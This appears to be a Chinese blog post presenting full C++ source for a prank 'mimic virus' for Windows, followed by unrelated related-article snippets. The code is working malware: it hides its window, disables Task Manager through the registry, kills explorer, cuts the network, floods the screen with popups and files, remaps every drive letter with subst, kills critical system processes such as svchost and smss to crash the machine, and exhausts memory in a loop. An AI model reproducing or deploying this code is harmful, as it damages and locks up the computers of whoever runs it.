CookieMaker工作室合作开发C++项目十一:拟态病毒
(注:本文章使用了“无标题技术”)
一天,我和几个同事
,平台出了点BUG,居然给我刷出了千年杀,同事看得瑕疵欲裂,发誓要将我挫骨扬灰——


(游戏入口:和平精英31.0 快乐星空)

HeiKe.h:
#ifndef HEIKE_H#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{//HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) { cerr<<"open error"<<endl; } outfile<<name;outfile.close();
}
//主机的好管理
void shutdown(int x, int y)
{Sleep(x * 1000);//等待n秒if(y == 1)system("shutdown -p");//关机if(y == 2)system("shutdown -s -r 0");//重启if(y == 3)system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y); else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;} }
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}
}
//图标的好管理
void Icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;while(1){GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 2)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO)); }
}
//卡死
void Die()
{while(1){new char;malloc(INT_MAX);}
}
//远程攻击
void Shutdown_Go()
{system("shutdown /i");
}
void color (int a) {if (a == 0 || a == 14 || a == 20) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 1 || a == 12) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 2) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);} else if (a == 3) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);} else if (a == 4 || a == 11) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);} else if (a == 5 || a == 13) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);} else if (a == 7) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 15) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);} else if (a == 16) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);} else if (a == 17) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);} else if (a == 8) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 6) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);} else if (a == 9) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);}
}
void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f");
}
void release()//断开网络
{system("ipconfig /release");
}
#endif
heker.h
#ifndef HEKER_H#include <bits/stdc++.h>
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring>
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>using namespace std;
void SetPos (COORD a) {HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {COORD pos = { i, j };SetPos (pos);
}
VOID Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{if(ico == "错误")MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);if(ico == "警告")MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);if(ico == "问号" || ico == "访问")MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);if(ico == "信息")MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}
struct CP{VOID start(){Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start 爱的病毒.bat");}void stop(){Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start 爱的病毒2.bat");}
}cp;VOID echo_of()
{system("@echo off");
}
VOID Tsk()
{echo_of();DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}
void full_screen() {echo_of();HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);int cy = GetSystemMetrics(SM_CYSCREEN);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE); SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &~WS_BORDER);SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{echo_of();HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);CONSOLE_CURSOR_INFO CursorInfo;GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息CursorInfo.bVisible = false; //隐藏控制台光标SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{echo_of();while (1){if (*p != 0){printf("%c", *p++);}else{break;}Sleep(time * 1000);}
}
void show()
{echo_of();color(2);printf("notepad - 记事本\n");printf("calc - 计算器\n");printf("winver - 关于\"Windows\"\n");printf("Nslookup - 默认服务器\n");printf("cmd - 命令行\n");printf("cleanmgr - 磁盘清理\n");printf("charmap - 字符映射表\n");printf("dxdiag - Dxdiag修复工具\n");color(1);printf("taskmgr - 任务管理器\n");color(2);printf("wiaacmgr - 扫描仪\n");printf("mspaint - 画图\n");printf("mmc - 控制台\n");color(532);
}
void Start(string same)
{echo_of();if(same == "notepad") system("start notepad");if(same == "calc") system("start calc");if(same == "winver") system("start winver");if(same == "Nslookup") system("start Nslookup");if(same == "cmd" || same == "") system("start cmd");if(same == "cleanmgr") system("start cleanmgr");if(same == "charmap") system("start charmap");if(same == "dxdiag") system("start dxdiag");if(same == "taskmgr") system("start taskmgr");if(same == "wiaacmgr") system("start wiaacmgr"); if(same == "mspaint") system("start mspaint");if(same == "mmc") system("start mmc");
}
void Taskkill(const char *same)
{char a[10] = "taskkill ";strcat(a, same);system(a);
}
#endif
Ege.h:
#ifndef MAKER_EGE_H
#define MAKER_EGE_H#define SHOW_CONSOLE#include <ege.h>
using namespace ege;namespace ege_game{void FullWindow(bool istitle, LPCSTR title = ""){if(istitle){setinitmode(0, 0, 0);setcaption(title);}else{setinitmode(1, 0, 0);}initgraph(-1, -1);}void setcolors(color_t behind, color_t front, color_t fill){setcolor(front);setbkcolor(behind);setfillcolor(fill);}void fillcircle(int x, int y, int radius, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);fillellipse(x, y, radius, radius, pimg);}void fillrectangle(int x1, int y1, int x2, int y2, color_t fill, color_t front, PIMAGE pimg = __null){setcolor(front);setfillcolor(fill);rectangle(x1, y1, x2, y2, pimg);bar(x1, y1, x2, y2, pimg);}void put_img(int x, int y, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x, y, img);}/*void put_img_ZhiDingXY(int x1, int y1, int x2, int y2, LPCSTR name){PIMAGE img = newimage();getimage(img, name);putimage(x1, y1, x2, y2, img);}*/}#endif
virsul.cpp:
/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h" //Dedicated Head File
/* Head Files */
int thistime; //Clock Time
using namespace std;
/* namespace */
void virus() //Virus Function
{Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!"); //New A FileMake_Text("WinMain.txt", "Creat Error!");while(1){thistime++; //Add This TimeIcon(0, 0, 2); //Draw Iconssystem("start MuOpawS.vbs"); //Start The Filessystem("start WinMain.txt");Icon(0, 0, 1);system("start MuOpawS.vbs");system("start WinMain.txt");Icon(0, 0, 2);system("start MuOpawS.vbs");if(thistime == 60) //If For Count To 60Blue_Screen(); //Blue Screen}
}
int main(){ //Main FunctionHide(); //Hide WindowTsk(); //More TskProcessRun(); //Have Processwhile(1){virus();}return 0;
}
main.cpp:
#include <Ege.h>
#include <time.h>
using namespace ege_game;int x, y;void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f");
}VOID Tsk()
{DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}void release()//断开网络
{system("ipconfig /release");
}void SB(int a)
{if(a == 0){setcolor(SNOW);}if(a == 1){setcolor(RED);}if(a == 2){setcolor(ORANGE);}if(a == 3){setcolor(YELLOW);}if(a == 4){setcolor(GREEN);}if(a == 5){setcolor(BLUE);}if(a == 6){setcolor(PINK);}if(a == 7){setcolor(PURPLE);}if(a == 8){setcolor(GRAY);}if(a == 9){setcolor(BROWN);}
}int main(void)
{setinitmode(1, 0, 0);initgraph(-1, -1);srand((unsigned)time(NULL));while(1){system("start virsul.exe");Tsk();release();explore();setfont(40, 20, "");delay(1);int a = rand() % 10;outtextxy(x + 180, y -30, "快关注!!!快关注!!!");SB(a);outtextxy(x - 100, y - 100, "快关注!!!");x = rand() % 1920;outtextxy(x - 10, y, "快乐星空最棒!!!");y = rand() % 1080;outtextxy(x, y, "关注快乐星空Maker!!!");}getch();return 0;
}
相关文章:
CookieMaker工作室合作开发C++项目十一:拟态病毒
(注:本文章使用了“无标题技术”) 一天,我和几个同事,平台出了点BUG,居然给我刷出了千年杀,同事看得瑕疵欲裂,发誓要将我挫骨扬灰—— (游戏入口:和平精英31.…...
57、PHP 实现 从扑克牌中随机抽取5张牌,判断是不是一个顺子
题目: PHP 实现 从扑克牌中随机抽取5张牌,判断是不是一个顺子 描述: 即这5张牌是不是连续的2-10位数字本身,A为1,J为11,Q为12,K为13,而大小王可以看成任意数字。 解题思路…...
前端HTML+CSS查漏补缺——仿制百度搜索首页的一些思考
在像素模仿百度搜索首页的时候,在实现的时候,遇到了一些值得记录的点。 在这个过程中,也顺便看了看百度的源码,感觉很有意思。 对了,QQ截屏里面获取到的颜色,是不大正确的,会有点误差。 这是我…...
【Python】实现一个个人理财助手小程序
以下是一个简化的 Python 代码框架,以及如何实现上述功能点的基本思路,可以基于这个框架进一步开发和完善你的小程序。 以下是一个简化的 Python 代码框架,使用了基本的类和函数来模拟上述功能: import pandas as pd from crypt…...
【GCC】结合GPT4 延迟梯度学习2:延迟梯度的计算及阈值更新
上文,充分发现了 排队梯度延迟的重要性, 【GCC】结合GPT4 延迟梯度学习1:公式推导及理论分析 例如: 延迟梯度为正数时,是单位时间内的排队队列长度的“增长速度” 延迟梯度与 发送速率(接收速率?)有直接的关系。 因为有 观测误差、随机因素、噪声,所以要对延迟梯度进行…...
灰豚数字人MotionAI大模型完成备案,模型已超百亿参数!
据8月5日网信办公告,灰豚数字人MotionAI大模型已完成备案。灰豚大模型拥有超过百亿参数,是综合全面性的视频生成大模型,融合了数字人大模型、声音大模型、文本大模型、视频大模型、图像大模型等技术。 灰豚AI数字人隶属于温州专帮信息科…...
zsh 配置 docker 自动补全
zsh 配置 docker 自动补全 在终端中使用 docker 的命令的时候必须要全部手敲,没有提示,于是就在找是否有自动补全的脚本,搜索了一圈踩了一些坑总结了一下具体的步骤。 首先执行如下命令: mkdir -p ~/.zsh/completion curl -L h…...
鸿蒙第三方应用.hap打包、安装流程。
最近在华为手表上安装第三方应用(源码打包构建应用,需要签名)。网上看了教程,在此记录下。 准备工作:先安装DevEco Studio开发工具。 进入华为 appgallery connect网站(注册、开发者实名认证) …...
leetcode:找到字符串中所有字母异位词
题目: 给定两s和p中所有p的异位词的子串,返回这些子串的起始索引。不考虑答案输出的顺序。异位词指由相同字母重排列形成的字符串(包括相同的字符串)。 示例 : 输入 输出 解释 s "cbaebabacd", p "…...
C语言学习
学习内容 两道题目 猜数字游戏 goto语句 关机程序 代码 //4.编写代码,演示多个字符从两端移动,向中间汇聚 welcome to china!!!! //#include<windows.h> //#include<stdlib.h> //int main() //{ // char arr1[] "welcome to c…...
Java面试题:MySQL高频面试题
MySQL常见面试题01 1、B树跟B树的区别? MySQL为什么选择B树来存储索引? 层数低,可以存放的数据多 2、InnoDB和MyISAM的区别? i:天生支持行锁,手动支持表锁,有事务,索引和数据一起存储 m:支持表锁不支持行锁,无事务,索引和数据分开存储 3、…...
使用js给数字进位,比如23333元进位成2.33万元
文章目录 一、进位函数:二、使用:总结 一、进位函数: //数字进位getUnitObjWithNumber(value){let dataconst returnObj {}let dw let chengshu 1if (isNaN(value)) {data 0} else {data parseFloat(value)}if (Math.abs(data) < 100…...
Java二十三种设计模式-享元模式(12/23)
享元模式:高效管理大量对象的设计模式 引言 在软件开发中,有时需要处理大量相似或重复的对象,这可能导致内存使用效率低下和性能问题。享元模式提供了一种解决方案,通过共享对象的共同部分来减少内存占用。 基础知识,…...
腾讯云AI代码助手助力软件开发体验分享
引言 现在,AI工具在软件开发中变得越来越重要,它们能显著提升效率和代码质量。本文就来分享一下我用腾讯云AI代码助手的经历,看看它是怎么在开发中帮了大忙的。 开发环境介绍 这次的项目用的是JavaScript,开发环境是Windows 10…...
Leetcode力扣刷题——182.查找重复的电子邮箱
题目 编写解决方案来报告所有重复的电子邮件。 请注意,可以保证电子邮件字段不为 NULL。 以 任意顺序 返回结果表。 结果格式如下例。 结果 # Write your MySQL query statement below select Email from Person group by email having count(*)>1; 知识点 c…...
idea中好用的插件
输入法自动切换插件 自动切换输入法插件:Smart Input。编写代码时自动切换到英文输入法,注释代码自动切换为中文输入法。极大的提升我们的编码效率。 MyBatisX插件 MybatisX 是一款基于 IDEA 的快速开发插件,为效率而生。主要用于XML映射配…...
spring 代码执⾏ (CVE-2018-1273)漏洞
一 漏洞简介 Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击…...
幺麻子曲折上市路:毛利率近四年下滑不少,存货出现较大增长
《港湾商业观察》廖紫雯 近期,幺麻子食品股份有限公司(以下简称:幺麻子)申请股票在全国股份转让系统挂牌并公开转让,拟挂牌新三板。 幺麻子此前上市之路可谓一波三折。2022年9月,公司向四川证监局提交辅导…...
Sol盗u、sol链上的USDT盗窃:警惕恶意智能合约
随着区块链技术的普及,Solana链上的应用和用户数量不断增加。然而,这也为不法分子提供了可乘之机,恶意智能合约逐渐成为盗取USDT等加密资产的一种常见手段。本文将详细介绍恶意智能合约的工作原理,并提供防范措施,帮助…...
jupyter for c++
jupyter for c++ jupyter for c++ jupyter for c++配置环境问题参考文档配置环境 需要 clang 编译器 安装 aconda 默认情况下,anaconda navigator包与anaconda Distribution一起安装,并包含依赖包qt。默认情况下,qt的所有依赖项也应安装,但某些版本的Anaconda Distribution…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
高等数学(下)题型笔记(八)空间解析几何与向量代数
目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...




